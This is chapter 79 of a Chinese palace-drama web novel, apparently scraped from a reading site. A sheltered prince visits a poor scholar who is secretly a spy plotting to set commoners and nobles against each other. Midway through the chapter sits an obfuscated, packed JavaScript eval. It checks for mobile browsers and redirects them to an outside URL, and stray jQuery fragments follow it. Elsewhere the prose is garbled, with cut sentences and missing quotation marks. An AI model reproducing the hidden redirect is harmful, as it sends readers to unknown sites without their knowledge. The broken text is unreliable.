第79章

作品:《为何寡人会怀孕!

    “你家在何处?”梁初扶着崔生离开学宫,一路往前走去。


    学宫鼎沸的人声渐渐被甩在身后,人群变得稀少,两个人从繁华走入了萧索。这条街巷的人一个个看起来萎靡不振,双眼麻木,是被生计压榨的焦虑,转而变成的麻木。


    崔生一瘸一拐,面色苍白的说:“快了,就在前面……寒舍简陋,让梁兄您见笑了。”


    “没关系。”梁初说:“小心点,慢慢走,我扶着你。”


    一顶破败的屋舍,在灿烂的夏日里摇摇欲坠,那怕是崔生所说的寒舍了罢。


    崔生抱歉的说:“着实对不住,寒舍实在太简陋了。”


    梁初知晓崔生是寒门子弟,但也没想到如此寒门,屋舍破败成这样,漏风漏雨,哪里还能住人?不知哪天,这屋舍便要倾塌了!


    梁初说:“你就住在这里么?为何不换个舒服一些的住处?”


    崔生笑了,他的笑容有些苦涩:“梁兄一看便是小君子,出身富贵,是含着金汤匙出生的罢?”


    梁初的确是个小君子,衣食无忧,他的父亲都是皇帝,他的哥哥都无比疼爱他,梁初生下来就是为了带动大梁的文娱新潮流,开辟新的思想,形成一股新的力量。什么衣食住行,都不在梁初的思考范围之内,他不需要思考这些庸俗的事情,需要保持赤子之心,初心不改,便足够了。


    所以梁初根本没有经历过世俗的洗礼与锤炼,他什么也不懂。


    崔生说:“若是有银钱,谁愿意住在这种地方呢?”


    梁初呆呆的看着他,崔生说这句话的时候,满脸都是悲痛,但他的悲痛,并非小小的悲痛,而是悲悯世间的那种悲痛,他的悲痛很大,很深,很广,以至于梁初想要将他的表情画下来,一定会触动这个世间。


    “不过话又说回来。”崔生又笑了,说:“即使有银钱,我也不会搬出去。”


    “为何?”梁初说:“是这屋舍有什么与众不同之处么?”


    崔生点点头,他的笑容凝固了,幽幽的说:“因为这里是我的母亲,活活饿死的地方……”


    梁初睁大眼睛,露出难以置信的表情。


    崔生好似在回忆,他望着湛蓝色的天空,说:“先皇还在世的时候,频频与北赵开战,每年都要打仗,我的父亲……征兵役去了,就再也没有回来。我的母亲一个人支起了全家的生计,他要给老的送终,还要……还要让我念书,一天天奔波劳累……”


    崔生的母亲为了让崔生念书,让崔生不要像自己一样糊里糊涂的过完一辈子,耗尽了自己全部的心血。她省吃俭用,积攒下来的银钱全都塞给崔生,让他买笔买墨…


    …


    “我真傻,


    破房子还是破房子,家里根本没有任何好转,崔生的母亲因为挨饿,骨瘦如柴,他昏倒在家门口,贫民区的人流量很大很大,人来人往的,都看到母亲昏倒在地上,但没有一个人伸出援手,麻木的走来,又麻木的走去,最后……


    崔生轻声说:“我的母亲就这么走了,等我回来的时候,她还趴在地上,就在这里……那年也是夏日,遗体已然臭了。


    梁初吓了一大跳,震惊的看着崔生指着的地方,就在自己脚前不足三步的地方。


    崔生又说:“这里对我的意义很重大,你说,我怎么能离开这里?


    梁初不知该如何说法,他有点害怕,崔生的眼神好像变了,变得和之前不太一样,但又说不上哪里不一样,只能说:“对不起,触动你的伤心事了。


    “不,崔生摇摇头:“没什么,已然没什么可伤心的了,过去太久了。


    梁初又说:“你的母亲真是天底下最好的母亲!


    他面容十分认真,说:“虽然……虽然我从来没有母亲,也不知母亲是个什么样的存在,但你的母亲听起来就是个大好人!


    崔生一愣,他的表情不再痛苦,也不再凌厉,反而有些惊讶:“你……没有母亲?


    梁初点点头,一脸的认真。


    的确,梁初没有母亲,但他有两个父亲,自然不知道母亲是什么。


    不过崔生显然会错意了,说:“原来……你也是同病相怜之人……


    崔生又恢复了笑脸:“进去坐坐罢。


    吱呀——


    屋棚的大门被推开,简陋的屋舍中一条黑影突然一闪而过。


    梁初不会武艺,根本没有注意那黑影,他震惊的睁大眼睛,跑到墙边仰头观摩:“这幅画真漂亮,这是你的画么?


    梁初被墙上的画吸引了注意力,根本没有注意身后突然出现的黑衣人。


    那黑衣人手中握着刀,一步步逼近梁初,崔生眯起眼睛,抬手拦住那黑衣人,对黑衣人摇摇头,示意他离开,黑衣人有些迟疑,不过梁初马上就要回头,黑衣人只好作罢,一个蹿身,从破败的户牖钻了出去。


    “嗯?梁初听到动静:“什么声音?


    崔生淡定的说:“野猫或者野狗罢。


    他又回答说:“正是我所画,若是梁兄不嫌弃,拿去也可以。


    “这么好看,这笔触如此凌厉,你真的送给我了么?


    崔生笑笑:“梁兄送我回来,我当真无以为报,便将这幅画送给你,权当是报酬了,只可


    惜崔某无名无姓,这画作也不值得几个钱。


    梁初说:“你可不要妄自菲薄。


    他刚说到这里,便听到有**喊“梁初,那声音极其耳熟。


    “嗯?梁初迷茫:“我怎么听到哥哥的声音了?


    紧跟着嘭一声,有人从外面闯进来,他的衣着华贵,与这破败的屋舍格格不入,正是梁辩!


    梁辩一眼便看到了梁初,走上前抓住梁初,上下左右,前前后后的观察:“怎么样?受伤了没有?


    “哥哥?梁初震惊:“你怎么来了?


    梁辩怎么来了?除了梁辩,其是梁苒和赵悲雪也到了,只是不方便进来而已。


    孟实甫的危险预警又响了,与此同时,梁苒的系统提示他的小儿子丢了,他能不担心么?幸而系统开启了定位,锁定了梁初的具体位置,于是一行人快速赶过来。


    梁苒和赵悲雪就在外面,但他们的身份不同寻常,恐怕有人认出他们引起骚乱,因而没有进来,则是派了梁辩进来,把小儿子领走。


    梁辩狠狠瞪了一眼梁初:“你还问我?说好了今日去投签,这几个时辰过去了,为何不回家去?我和父亲都是一顿好找!为何瞎跑?你自己又是肩不能担手不能提的,丢了可如何是好?


    梁初挠了挠下巴,说:“哥哥,我没丢了啊,我是在做好事儿呢……


    崔生站起来,咳嗽着说:“咳咳……这位君子,你不要怪罪梁初,是我咳咳……是我咳咳咳……


    梁初一看,崔生站都站不稳了,赶紧跑过去扶着:“你怎么样?我还是给你请个医师来罢!


    崔生摇头说:“不麻烦梁兄了,今日梁兄送我回来……已然……咳咳咳,已然诸多不便,梁兄还是快些与兄长……咳咳咳……回家去罢,免得家人担心。


    梁辩上下打量崔生,眯起眼睛,眼神里尽是不信任。


    梁初思考了一下,对梁辩说:“哥哥,你带财币了么?


    梁辩说:“做什么用?


    他虽这么说,还是将荷包解下来递给梁初,梁初抓起荷包,也没有金钱的概念,将荷包塞在崔生手中,说:“今日太晚了,我得跟哥哥回去了,免得父亲担心,这些银钱给你,快去请个医师看看,可别耽误了病情。


    崔生感觉荷包压手的程度,吃惊的看向梁初,不等他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050420|166211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多说,梁初摘下墙上的那幅画,说:“这就送给我做谢礼了,那我拿回去了。


    他拉着梁辩,一溜烟儿离开了屋棚。


    梁初跑出来没多远,便看到拐角的地方有人站着,他乖乖走过去,老老实实叫人,说:“君父,父亲……


    梁苒没好气的说:“你还知晓家人担心呢?


    梁初:“……”


    赵悲雪平日里严肃,今日倒是做了和事佬,关键时刻根本不忍心责骂孩子,便说:“初儿这次的确不对,快给你君父道歉,保证下次不犯了。”


    梁初使劲点头:“君父,初儿错了,初儿下次不犯了,以后走到哪里,都带着哥哥,这下子君父便不必担心了。”


    梁辩冷笑:“我可镇不住你。”


    梁初瞪了他一眼,赵悲雪又说:“你一个人不会武艺,去哪里都要和家中报备一声,知晓了么?”


    梁初又使劲点头,态度十足诚恳,梁苒这才松开紧绷的面色,说:“下不为例。”


    “嗯嗯!”梁初蹦起来搂住梁苒的手臂:“君父最——好了!”


    梁辩说:“那我呢?你使了我那么多银钱,那可是我半年的俸禄,哥哥便不好么?”


    “半年?”梁初惊讶:“这么少?”


    梁辩:“……”


    梁辩才入鸿胪寺,资历尚浅,粮俸自然不多,但也不算少,是梁初没有财币的概念,竟还嫌弃少了。


    梁辩说:“你这小白眼儿狼,还钱来。”


    梁初笑盈盈:“哥哥你放心,初儿卖**和话本很挣钱,改日还给你。”


    说罢,一蹦一跳的欢心走了,还摆弄着手中的画轴,梁辩追在后面不依不饶:“不行,今日便要还。”


    “哥哥是小气鬼!”


    梁苒看着两个儿子的背影,面色慢慢又撂了下来,幽幽的说:“你方才没有看错?”


    赵悲雪笃定的说:“的确,绝没有看错,有一个黑衣人从屋棚的户牖钻出来,是个顶尖的练家子,而且……不似中原的路数。”


    梁苒眯起眼睛,沉声说:“孟实甫的危险预警绝不会出错,这个姓崔的寒生决计不简单……你去查查他的底细。”


    赵悲雪点头说:“阿苒放心。”


    破败的屋棚之中,众人都已然离去,只剩下崔生一个人。


    “咳咳……咳咳咳……”


    崔生扶着简陋的案几咳嗽着,墙壁上空空如也,本该悬挂着书画的地方,只剩下有些斑驳的墙面,案几上却多了一只鼓鼓囊囊的荷包。


    “咳……咳咳……”


    吱呀——嘭!


    随着咳嗽声,大门被踹开,黑衣人堂而皇之的大步走进来。


    “方才为何不让我杀了梁初?!”


    那个黑衣人质问:“难道你忘了君上的话?君上要咱们杀死梁初,让上京文会变成丧会,你为何阻止与我?难道……你想要抗命不成!?”


    黑衣人冷笑嘲讽:“我就说了,降臣不可用!你本就是个梁人,便算投靠了我邱山国,血脉里也是梁人的走狗!”


    崔生停止了咳嗽,他慢悠悠的抬起头来,说:“将军难道忘了,君上派遣你我行事,我是主,你是辅,将军摆清楚自己的地位才好。”


    “你?!”黑衣人愤怒。


    崔生又说:“降臣又如何?邱山国的武夫都像你这般有勇无谋,君上这才被迫重用我这样不堪的降臣,也真真儿是可怜。”


    “你敢辱骂于我!?”


    崔生幽幽的说:“不过说了一句实话罢了……”


    他的眼神变得凌厉:“梁初不会武艺,想要杀死他何其容易,但我要梁人辛苦建立的学宫毁于一旦!我要寒门和贵胄针锋相对,不死不休!我要大梁的江山……彻底崩乱。我的法子……才更有趣儿。”